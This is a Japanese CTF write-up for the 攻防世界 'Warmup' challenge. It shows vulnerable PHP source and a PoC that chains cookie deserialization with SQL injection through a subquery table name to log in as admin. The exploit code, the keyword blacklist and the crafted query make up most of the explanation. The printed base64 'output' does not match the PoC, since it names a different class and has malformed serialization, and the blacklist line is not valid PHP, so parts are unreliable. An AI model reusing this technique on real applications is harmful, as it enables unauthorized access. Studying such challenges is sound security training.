攻防世界 Warmup: デシリアライゼーションとSQLインジェクションの脆弱性

本記事では、CTFプラットフォーム「攻防世界」の「Warmup」という問題を解説します。この問題は、PHPのデシリアライゼーションとSQLインジェクションの脆弱性を組み合わせたものです。

問題の概要

問題は、特別な情報がない入力フォームを提示します。付属のソースコードが提供されており、それを分析することでフラグを取得する必要があります。

ソースコードの分析

与えられたソースコードは以下の通りです。

index.php

<?php
include 'conn.php';
include 'flag.php';

if (isset ($_COOKIE['user_session'])) {
    $user_session = unserialize (base64_decode ($_COOKIE['user_session']));
    try {
        if (is_array($user_session) && $user_session['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('user_session', $cookie, time () + (86400 * 30));
}

if(isset($_POST['user_name']) && isset($_POST['pass_key'])){
    $db_table = 'users';
    $user_name = addslashes($_POST['user_name']);
    $pass_key = addslashes($_POST['pass_key']);
    $db = new Database();
    $db->connect();
    $db->db_table = $db_table;
    $db->user_name = $user_name;
    $db->pass_key = $pass_key;
    $db->check_login();
}
?>

conn.php

<?php
include 'flag.php';

class Database {
    public $db_table = '';
    public $user_name = '';
    public $pass_key = '';
    public $conn;
    public function __construct() {
    }

    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }

    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        } else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        } else {
            echo "welcome! but you are not admin";
        }
        $result->free();
    }

    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->db_table." where username='".$this->user_name."' and password='".$this->pass_key."'");
    }

    public function waf(){
        $blacklist = ["union", "join", "!", """, "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->db_table, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->user_name, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->pass_key, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect();
        }
        if($this->db_table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }
}
?>

解説

この問題の鍵は、`user_session`という名前のクッキーに格納されたデータのデシリアライゼーションです。このプロセス中に、`__wakeup()`マジックメソッドが呼び出され、`check_login()`メソッドが実行されます。

`check_login()`メソッドは、`query()`メソッドを呼び出してデータベースをクエリします。このクエリの結果、`username`フィールドの値が`admin`であればフラグが表示されます。

通常のSQLインジェクション攻撃では、データベースのテーブル名やカラム名を特定する必要がありますが、この問題ではそのような情報は与えられていません。代わりに、仮想テーブルを利用する手法が有効です。

仮想テーブルを利用した攻撃

以下のPoC(Proof of Concept)コードは、仮想テーブルを利用して`admin`ユーザーとしてログインする方法を示しています。

<?php
class Database {
    public $db_table;
    public $user_name;
    public $pass_key;
    public $conn;
}
$obj = new Database();
// 仮想テーブルを作成
$obj->db_table = "(select 'admin' username,'password123' password)a";
$obj->user_name = 'admin';
$obj->pass_key = 'password123';
echo base64_encode(serialize($obj));
?>

このコードを実行すると、以下のようなシリアライズされたオブジェクトが生成されます。

TzozOiJGYWN0b3J5IjoxNToiZGItdGFibGUiO2k6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwncGFzc3dvcmQxMjMnIHBhc3N3b3JkO2k6IiRhZG1pbiI7czo0OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo2OiJwYXNzd29yZCI7czo3OiJjb25uIjtOO30=

この文字列を`user_session`クッキーに設定し、ページをリロードすると、`admin`として認証され、フラグが表示されます。

このSQLクエリの仕組みは以下の通りです。

select username,password from (select 'admin' username,'password123' password)a where username='admin' and password='password123'

このクエリは、一時的な仮想テーブルを作成し、その中から`admin`ユーザーを検索します。これにより、`check_login()`メソッドの条件を満たし、フラグが表示されます。

タグ: 攻防世界 warmup デシリアライゼーション SQLインジェクション

5月17日 07:05 投稿